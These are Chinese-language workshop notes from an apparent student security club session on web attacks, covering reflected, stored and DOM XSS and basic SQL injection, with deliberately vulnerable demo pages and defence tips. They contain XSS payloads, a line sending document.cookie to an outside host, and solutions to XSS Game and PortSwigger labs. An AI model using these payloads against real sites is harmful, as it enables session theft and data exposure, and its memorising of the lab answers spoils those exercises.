---
# System prepended metadata

title: Web II
tags: [2023 NISRA Enlightened]

---

Web II by zhen
===

:::danger
請愛惜共筆，勿進行惡意刪減
:::

:::info
先註冊：https://portswigger.net/
下載：https://www.sublimetext.com/3
(如果有自己習慣的編輯器or用學校電腦不用載)
課程講義：https://slides.com/zhenzhen-1/enlightened2023-web2
:::

# XSS

- 跨站腳本攻擊 **C**ross-**S**ite **S**cripting
- 對Web頁面注入惡意的JavaScript語句而達到攻擊目的
- 最早可追溯到1990年，大量網站受到XSS攻擊或發現此漏洞

類型
- Reflected
- Stored
- DOM based

## Reflected

- 通常把惡意語句藏在網址列(URL)裡
- 惡意語句並不存於目標伺服器中
- 影響的層面僅限於單次單一使用者
- 把惡意程式藏在網址列(URL)裡
    - `http://www.example.com/upload?id=<script>alert(1);</script>`
- 使用 URL Encode 編碼
    - %3Cscript%3Ealert(1)%3B%3C%2Fscript%3E

![](https://hackmd.io/_uploads/rk9UNZop3.png =500x)

## Stored
- 將惡意程式碼注入伺服器進行攻擊
- 注入的語句通常會持續儲存於伺服器的資料庫
- 影響的層面不僅限於個別使用者
- 常見於留言區、評論區

![](https://hackmd.io/_uploads/Syd2VWoTn.png =500x)

## DOM Based
- 沒有檢查資料使得操作 DOM 的過程代入了惡意語句
- 前端小心使用 `.html()` 或是 `.innerHTML()`

![](https://hackmd.io/_uploads/H1UWSbja2.png  =500x)

## 三者比較
|  種類  | 伺服器 | 資料庫 |
|:------:|:------:|:------:|
| 反射型 | 有經過 | 沒經過 |
| 儲存型 | 有經過 | 有經過 |
| DOM型  | 沒經過 | 沒經過 |

## ~~做一個可以被XSS攻擊的網站~~
### 網站一
html (XSS.html)
```xml=
<html>
    <head>
        <title>Hello XSS!</title>
    </head>
    <body>
        <input type = 'text' id = "Input">
        <button id="Button">Save</button>
        <div>
            Hello, <span id = "Output"></span>
        </div>
        <script src="XSS.js"></script>
    </body>
</html>
```

javascript (XSS.js)
```javascript=
var Input = document.getElementById('Input');
var Button = document.getElementById('Button');
var Out = document.getElementById('Output');

Button.addEventListener('click', function(){
    Out.innerHTML = Input.value;
})
```

#### 透過輸入框彈出alert視窗

提示：
- 嘗試輸入 `<h1>XSS</h1>`
- on 事件
    * onclick：當滑鼠點擊時
    * onerror：當出現error時(載入失敗)
    * onload：當載入成功時
> Q：\<script>alert()\<\script> 沒有用
> A：InnerHTML 會把 \<script> 當文字解析

解法：
1. `<img src="1.png" onclick="alert()">`
2. `<img src="" onerror="alert()">`
3. ...

> 歡迎大家留下自己的解法！
> `<h1 onclick="alert()">XSS</h1>`
> `<iframe src="javascript: alert()" hidden/>`

### 網站二
html (XSS.html)
```xml=
<html>
    <head>
        <title>Hello XSS!</title>
    </head>
    <body>    
        <div id="goto"></div>
        <input type="text" id="Link" value="" />
        <input type="button" value="Go" onclick="gotoLink()" />
        <script src="XSS.js"></script>
    </body>
</html>
```

javascript (XSS.js)
```javascript=
function gotoLink() {
	var str = document.getElementById("Link").value;
	document.getElementById("goto").innerHTML = "<a href='" + str + "' >chick</a>";
}
```

解法：
1. 輸入 `' onclick='alert(1)`

    ```javascript=
    // 原本:
    document.getElementById("goto").innerHTML = "<a href='" + str + "' >chick</a>";

    // str = ' onclick='alert(1):
    document.getElementById("goto").innerHTML = <a href='' onclick='alert(1)' >chick</a>;
    ```
2. 輸入 `javascript:alert();`
    - 神奇的執行javascript語法

> 歡迎大家留下自己的解法！
 


## 為甚麼要讓網站alert()
為了確定網站能否讓我們執行 XSS

把這串丟到 FB 看看（？
`alert(document.cookie)`

### cookie
- 儲存在使用者端的文檔
- 用來解決 HTTP 協定的網頁互動問題
- 會隨著瀏覽器寄送請求時一併送出
- cookie過期與否，可以在cookie生成的時候設定

## 再看看這行
`docment.location.href="https://XSS.com"+btoa(document.cookie)`
![](https://hackmd.io/_uploads/HyaAQzjp3.png)


## 小總結
- 用各種手段對網站插入惡意語句
- 發生原因通常是沒對使用者的輸入進行過濾

### 常見目的
- 偷你的資料 (Cookies, Session)
- 騙你到假網站
- 偷你身分 (拿你帳號亂發郵件)

### 如何防範
User
- 來路不明的東西不要亂點
- 輸入帳密前三思

Developer
- 取代危險字元
- 建立白名單
- 保護Cookies (HttpOnly)
- Http Security Header
- ~~不要自己架網站~~

<font color="#f00">不要相信使用者!!!</font>

- [XSS Game](http://www.xssgame.com/)
    :::spoiler 第一關
    輸入 `<script>alert();</script>`
    :::
    :::spoiler 第二關
    輸入 `'); alert();//`
    :::

# SQLi

## SQL
- **S**tructured **Q**uery **L**anguage
- 用來查詢關聯式資料庫 (Database) 的語言

### Database
- 資料庫
- 放資料的地方
- 使用者透過 DBMS 進行資料庫操作

### Structure
- 假設要選出Du的資料
    - 選正確的資料庫
    - 選正確的資料表
    - 選要那些欄位
    - 得到資料

![](https://hackmd.io/_uploads/Hy45veaTn.png =60%x)

### DBMS
- Database management system
    - MySQL, Oracle...
- 跟資料庫互動式需要的

![](https://hackmd.io/_uploads/SyiklQsph.png =70%x)


### CRUD
- 基本的資料庫操作概念
- 建立 **C**reate 
- 讀取 **R**ead
- 更新 **U**pdate
- 刪除 **D**elete

### 一些 SQL
- 情境假設
    - Table: users
    - Column: username, password, email
```sql=
SELECT * FROM users WHERE username = 'Du' AND email = 'du@nisra.net';
```
- `*`：選擇表中所有的 column
- `users`：選擇的表
- `WHERE` 後的則是選取條件
![](https://hackmd.io/_uploads/B1VZgQsa2.png)

- 返回的結果
    - users這張表的username=Du並且email=du@nisra.net的所有欄位

## SQLi
- SQL Injection
- 構造惡意輸入，影響後端對資料庫的操作
- 通常目標
    - 看到他們不應該看到的資料
    - 修改或刪除數據
- 類型
    - Retrieving hidden data - 獲得隱藏的數據
    - Subverting application logic - 影響應用程式邏輯
    - UNION attack - UNION 攻擊
    - Examining the database - 測試資料庫
    - Blind SQL injection - SQL 盲注入


### Lab 0
- [第一題：SQL injection vulnerability in WHERE clause allowing retrieval of hidden data](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data)：檢索隱藏數據
    :::spoiler sol
    在網址後方加入 `' OR 1=1--`
    :::

### Lab 1
- [第二題：SQL injection vulnerability allowing login bypass](https://portswigger.net/web-security/sql-injection/lab-login-bypass)：登入繞過
    
# 延伸參考

## 好東西推薦
- [Cross-Site Scripting (XSS) Explained by PwnFunction](https://www.youtube.com/watch?v=EoaDgUgS6QA)
- [DVWA安裝和使用指南](https://www.twblogs.net/a/5c6fe5f6bd9eee7f0733b490)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)

## 參考資料
- [[XSS 1] 從攻擊自己網站學 XSS (Cross-Site Scripting)](https://medium.com/hannah-lin/%E5%BE%9E%E6%94%BB%E6%93%8A%E8%87%AA%E5%B7%B1%E7%B6%B2%E7%AB%99%E5%AD%B8-xss-cross-site-scripting-%E5%8E%9F%E7%90%86%E7%AF%87-fec3d1864e42)
- [秒懂 SQL Injection](https://tech-blog.cymetrics.io/posts/nick/sqli/)
- google大神
- Du辛苦製作的講義
- NISRA學長姐們的講義m(_ _)m



